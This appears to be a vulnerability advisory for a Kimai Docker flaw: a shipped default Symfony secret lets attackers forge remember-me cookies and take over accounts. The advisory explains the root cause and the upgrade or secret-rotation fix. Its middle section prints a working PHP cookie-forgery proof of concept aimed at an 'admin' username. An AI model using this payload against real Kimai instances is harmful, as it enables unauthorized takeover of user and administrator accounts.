CVE-2026-52824: Kimai Docker Default APP_SECRET Enables Cookie Forgery and Account Takeover
The official Kimai Docker image ships a publicly-known Symfony secret, letting any unauthenticated attacker forge valid remember-me cookies and log in as any user, including super admins.
The problem
The Kimai Docker image hard-codes ENV APP_SECRET=change_this_to_something_unique in its Dockerfile (line 263). That value becomes Symfony's kernel.secret, which is used to HMAC-sign remember-me cookies, login links, password-reset URLs, and CSRF tokens.
The container entrypoint (entrypoint.sh) never checks whether this sentinel value is still in use. Any Docker-deployed instance that does not explicitly override APP_SECRET at runtime exposes every account, including super_admin (typically user ID 1), to unauthenticated takeover from the internet.
The only preconditions are knowing a username and the account having no 2FA active.
Proof of concept
A working proof-of-concept for CVE-2026-52824 in kimai/kimai, with the exact payload below.
<?php
// Forge a Symfony KIMAI_REMEMBER cookie for a known username.
// Works against any Kimai Docker instance with the default APP_SECRET.
$secret = 'change_this_to_something_unique'; // shipped default
$username = 'admin'; // target username
$class = 'App\\Entity\\User'; // Symfony user FQCN
$expires = time() + 31536000; // 1 year from now
// Symfony RememberMeToken HMAC (sha256)
$hash = hash_hmac('sha256', $username . $expires . $class, $secret);
// Cookie value: base64( username : expires : hash )
$cookieValue = base64_encode($username . ':' . $expires . ':' . $hash);
echo "Set cookie KIMAI_REMEMBER={$cookieValue}\n";
echo "Then GET https://<target>/en/ with that cookie to land as '{$username}'.\n";Symfony's RememberMeToken derives its authenticity entirely from kernel.secret. Because the secret is a compile-time constant baked into the Docker image and documented in the public advisory, any third party can reproduce the exact HMAC the server would accept.
The root cause is CWE-1188 (Initialization of a Resource with an Insecure Default): the Dockerfile set a sentinel value that was never validated or rotated at startup. The fix adds a startup script that generates a fresh 32-byte random secret via bin2hex(random_bytes(32)), stores it in /opt/kimai/var/data/.appsecret, and writes it into /opt/kimai/.env.local before Kimai boots.
The hardcoded ENV line was removed from the Dockerfile entirely. A companion change (GHSA-m492-gv72-xvxj) adds extra entropy to login-link signatures as a defense-in-depth measure.
The fix
Upgrade to Kimai 2.58.0. If you cannot upgrade immediately, set a strong random APP_SECRET explicitly in your docker run -e APP_SECRET=$(openssl rand -hex 32) call or in your docker-compose.yml environment block. Verify the running secret is not the sentinel: docker exec <container> printenv APP_SECRET must not return change_this_to_something_unique.
Related research
- highCVE-2026-52827CVE-2026-52827: Kimai 2FA TOTP Bypass via Pre-Verification Session Cookie
- high · 7.5CVE-2026-53599CVE-2026-53599: REDAXO Mediapool Multi-Segment Filename Extension Bypass RCE
- critical · 9.6CVE-2026-54588CVE-2026-54588: Poweradmin Host Header Injection in OIDC / SAML / Logout Redirect
- high · 8.1CVE-2026-54593CVE-2026-54593: Pterodactyl Panel Improper JWT Scope Allows Unauthorized File Upload